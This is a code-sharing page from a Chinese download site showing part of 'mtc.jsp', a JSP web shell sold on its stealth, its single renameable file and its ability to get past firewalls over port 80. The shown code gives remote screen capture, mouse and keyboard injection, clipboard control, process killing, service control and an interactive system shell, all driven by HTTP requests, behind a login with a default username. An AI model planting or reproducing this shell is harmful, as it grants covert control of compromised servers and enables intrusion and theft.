⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mtc.jsp

📁 最大特点 1.跨平台,基本WEB服务,无论防火强怎么封端口,只要打开80,就可以远程管理服务器. 2.客户端无论安装任何插件. 3.只有一个JSP文件,文件名可以随意改,隐蔽性好.
💻 JSP
📖 第 1 页 / 共 3 页
字号:
        do
        {
          sb.append(line);
          j =is.readLine(by,0,by.length);
          line = new String(by, 0, j, ce);
        } while(!line.startsWith(ct));
        sb.setLength(sb.length() - 2);
        if(name.equals("p"))
        {
          p=sb.toString();
        }
      }
    }
    is.close();
  }else if(mt.equals("wins.screen"))
  {
    Robot r = new Robot();
    BufferedImage bi = r.createScreenCapture(rect[Integer.parseInt(v)]);
    //ByteArrayOutputStream os = new ByteArrayOutputStream();
    OutputStream os=response.getOutputStream();
    try
    {
      ImageIO.write(bi, "PNG", os);
    }catch(Exception ex)
    {}
    //byte by[] = os.toByteArray();
    os.close();
    return;
  }else if(mt.equals("wins.event"))
  {
    Robot r = new Robot();
    String event=request.getParameter("e");
    if (event.startsWith("mouse"))
    {
      int x = Integer.parseInt(request.getParameter("x"));
      int y = Integer.parseInt(request.getParameter("y"));
      int b = Integer.parseInt(request.getParameter("b"));//16:左,8:中,4:右
      switch(b)
      {
        case 0:
        b=16;
        break;
        case 1:
        b=8;
        break;
        case 2:
        b=4;
        break;
      }
      r.mouseMove(x, y);
      if (event.equals("onmouseclick"))
      {
        r.mousePress(b);
        r.mouseRelease(b);
      } else
      if ("onmousedblclick".equals(event))
      {
        r.mousePress(KeyEvent.BUTTON1_MASK);
        r.mouseRelease(KeyEvent.BUTTON1_MASK);
        r.mousePress(KeyEvent.BUTTON1_MASK);
        r.mouseRelease(KeyEvent.BUTTON1_MASK);
      } else
      if (event.equals("mousedown"))
      {
        r.mousePress(b);
      } else
      if (event.equals("mouseup"))
      {
        r.mousePress(b);
        r.mouseRelease(b);
      }
    } else if (event.startsWith("key"))
    {
      int k = Integer.parseInt(request.getParameter("k"));
      if (k > 218 && k < 222) //[:219-91,  \:220-92,  ]:221-93
      {
        k = k - 128;
      } else if (k > 187 && k < 192) //,:188-44,  .:190-46,  /:191-47
      {
        k = k - 144;
      } else
      {
        switch (k)
        {
          case 45: //insert
            k = 155;
            break;
          case 46:
            k = 127;
            break;
          case 91: //win
          case 92:
            k = 524;
            break;
          case 93: //右键
            k = 525;
            break;
            //        case 37://left
            //        k=226;
            //        break;
            //        case 38://up
            //        k=224;
            //        break;
            //        case 39://right
            //        k=227;
            //        break;
            //        case 40://down
            //        k=225;
            //        break;
          case 13:
            k = 10;
            break;
        }
      }
      if (event.equals("keydown"))
      {
        r.keyPress(k);
      } else if (event.equals("keypress"))
      {
        r.keyPress(k);
      } else if (event.equals("keyup"))
      {
        r.keyRelease(k);
      }
    }
    return;
  }else if(mt.equals("wins.cb"))
  {
    Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
    cb.setContents(new StringSelection(v),null);
    out.print("<script>window.close();</script>");
    return;
  }else if(mt.equals("task.kill"))
  {
    for(int i=0;i<ps.length;i++)
    {
      exec((isLinux ? "kill -9 " : "tskill ") + ps[i], null);
    }//ntsd -c q -p PID  
  }else if(mt.equals("serv.start")||mt.equals("serv.stop")||mt.equals("serv.restart"))
  {
    StringBuffer js=new StringBuffer();
    String cmd=mt.substring(5);
    for(int i=0;i<ps.length;i++)
    {
      if(isLinux)
      {
        ps[i]="/etc/init.d/"+ps[i]+" "+cmd;
      }else if(cmd.equals("restart"))
      {
        ps[i]="cmd /c net stop "+ps[i]+" & net start "+ps[i];
      }else
      {
        ps[i]="net "+cmd+" "+ps[i];
      }
      String str=exec(ps[i], null);
      js.append(str);
    }
    //out.print("<script>alert(\""+js.toString()+"\");</script>");
    //return;
  }else if(mt.equals("serv.restart"))
  {
    for(int i=0;i<ps.length;i++)
    {
      String str=  exec(isLinux ? "/etc/init.d/ "+ps[i]+" restart" : "net stop "+ps[i]+" & net start "+ps[i], null);
      out.print("<script>alert('"+str+"');</script>");
    }
    return;
  }else if(mt.equals("term.cmd"))
  {
    String txt=(String)session.getAttribute("txt");
    Process pro=(Process)session.getAttribute("cmd");
    if(pro==null)
    {
      pro=Runtime.getRuntime().exec(isLinux?"bash":"cmd",null,f);
      session.setAttribute("cmd",pro);
      txt="";
    }
    if(v!=null)
    {
      v=v+"\r\n";
      OutputStream os=pro.getOutputStream();
      if(isLinux)
      {
        v="pwd>mtc.txt\n"+v.substring(0,v.length()-2)+">>/mtc.txt\n";
      }
      String quc=v.trim().toLowerCase();
      if(quc.equals("restart"))
      {
        os.write(v.getBytes());
      }else if(quc.equals("env"))
      {
        txt=txt+"<table>";
        Properties sps=System.getProperties();
        Enumeration e=sps.keys();
        while(e.hasMoreElements())
        {
          String name=(String)e.nextElement();
          String value=(String)sps.get(name);
          txt=txt+"<tr><td>"+name+"<td>"+value;
        }
        txt=txt+"</table>";
      }else
      {
        os.write(v.getBytes());
        if(quc.equals("exit"))
        {
          session.removeAttribute("cmd");
        }
      }
      os.flush();
      if(quc.startsWith("net stop tomcat"))
      {
        if(!"SYSTEM".equals(System.getProperty("user.name")))//如果不是服务
        {
          String cmd="tskill "+quc.split(" ")[2]+"\r\n";
          os.write(cmd.getBytes());
          os.flush();
          System.exit(0);
        }
      }
      Thread.sleep(500L);
    }
    if(v!=null||(txt.length()==0&&!isLinux))
    {
      InputStream is=pro.getInputStream();
      if(isLinux)
      {
        is=new FileInputStream("/mtc.txt");
        txt=txt+"\n"+v;
      }
      for(int i=0;i<10||is.available()>0;i++)
      {
        if(i==9)is=pro.getErrorStream();
        if(is.available()==0)
        {
          Thread.sleep(500L);
        }else
        {
          i=0;
          byte by[]=new byte[is.available()];
          is.read(by);
          String str=new String(by).replaceAll("<","&lt;");
          //cls
          int cls=str.lastIndexOf("\f");
          txt=cls==-1?txt+str:str.substring(cls+1);
        }
      }
      session.setAttribute("txt",txt);
    }
    out.print("<pre>"+txt+"</pre>");
  }
  if(!mt.equals("term.cmd"))
  {
    response.sendRedirect(request.getRequestURI()+"?mt="+mt.substring(0,4)+"&p="+URLEncoder.encode(p,"UTF-8"));
    return;
  }
}




String mt4=mt.substring(0,4);
%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><%=p%> 灭天远程管理</title>
<style type="text/css">
body
{
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
body,td,th
{
  font-size: 12px;
}
img
{
border: 0;
vertical-align:middle;
}
table
{
width:100%;
border:1px solid #bbd7e6;
}
th
{
border-bottom:1px solid #bbd7e6;
background-color:#E1ECFE;
}
.I
{
width:16px;
height:16px;
}
.H
{
  filter:alpha(opacity=50)
}
.t<%=oby%>
{
background:#F7F7F7;
}
.t2
{
text-align:right;
}
</style>
<script type="text/javascript">
function f(v)
{
  form1.mt.value=v;
}
function s(b)
{
  form1.ps.checked=b;
  for(var i=0;i<form1.ps.length;i++)
  {
    form1.ps[i].checked=b;
  }
}
function d(mt,dv)
{
  var t;
  switch(mt)
  {
    case "file.ren":
    t="请输入新的名字";
    dv="这里输入新名子";
    break;
    case "file.mkdir":
    t="新建文件夹";
    dv="新建文件夹";
    break;
    case "file.del":
    t="确认删除?";
    break;
    case "file.upload":
    form1.encoding="multipart/form-data";
    form1.action="?mt="+mt;
    break;
    case "term.cmd":
    form1.cmd.disabled=true;
    break;
    default:
    form1.method="get";
  }
  if(t)
  {
    dv=dv?prompt(t,dv):confirm(t);
    if(!dv) return false;
  }
  form1.v.value=dv;
  form1.mt.value=mt;
  form1.submit();
}
function c()
{
  var ps=document.form1.ps;
  if(ps)
  {
    var flag=ps.checked;
    for(var i=0;i<ps.length;i++)
    {
      if(ps[i].checked)
      {
        flag=true;
        break;
      }
    }
    var ids=new Array("cut","copy","del","ren","unzip","zip","down","kill","start","stop","restart");
    for(var i=0;i<ids.length;i++)
    {
      var obj=document.getElementById(ids[i]);
      if(obj)obj.disabled=!flag;
    }
  }
}
setInterval(c,100);
//排序
function o(field)
{
  var url=location.search.substring(1);
  window.open("?oby="+field+"&"+url,"_self");
}
//
var down=false;
function fevent(event)
{
  if(!event)event=window.event;
  if(event.type=="mousedown")
  {
    down=true;
//    try
//    {
//      this.setCapture();
//    }catch(e)
//    {
//      document.addEventListener("mousemove",fevent,true);
//    }
  }else if(event.type=="mouseup")
  {
    down=false;
//    try
//    {
//      this.releaseCapture();
//    }catch(e)
//    {
//      document.removeEventListener("mousemove",fevent,true);
//    }
  }
  if(down||event.type!="mousemove")
  {
    var button=event.button;
    if(document.all)
    {
      switch(button)
      {
        case 1:
        button=0;
        break;
        case 4:
        button=1;
        break;
        case 3:
        return;
      }
    }
    var x=event.clientX+document.body.scrollLeft;
    var y=event.clientY+document.body.scrollTop-20;
    ifr.src=ifr.location=('?mt=wins.event&x='+x+'&y='+y+'&k='+(event.keyCode||event.which)+'&b='+button+'&e='+event.type);
  }
  //document.getElementById('xy').value=(event.keyCode||event.which);
  try
  {
    event.keyCode=0;
    event.returnValue=false;
  }catch(e)
  {
    return false;
  }
}
</script>
</head>

<body>
<form name="form1" action="?" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="mt" value="<%=mt%>"/>
<input type="hidden" name="v" value=""/>
<%
if(user==null)
{
%>
<br>
<h2>灭天远程管理</h2>
<table align="center" style='width:600px'>
  <tr>
    <td align="right">用户名:</td>
    <td><input type="text" name="user" value="mietian" /></td>
  </tr>
  <tr>
    <td align="right">密码:</td>
    <td><input type="password" name="pwd" /></td>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -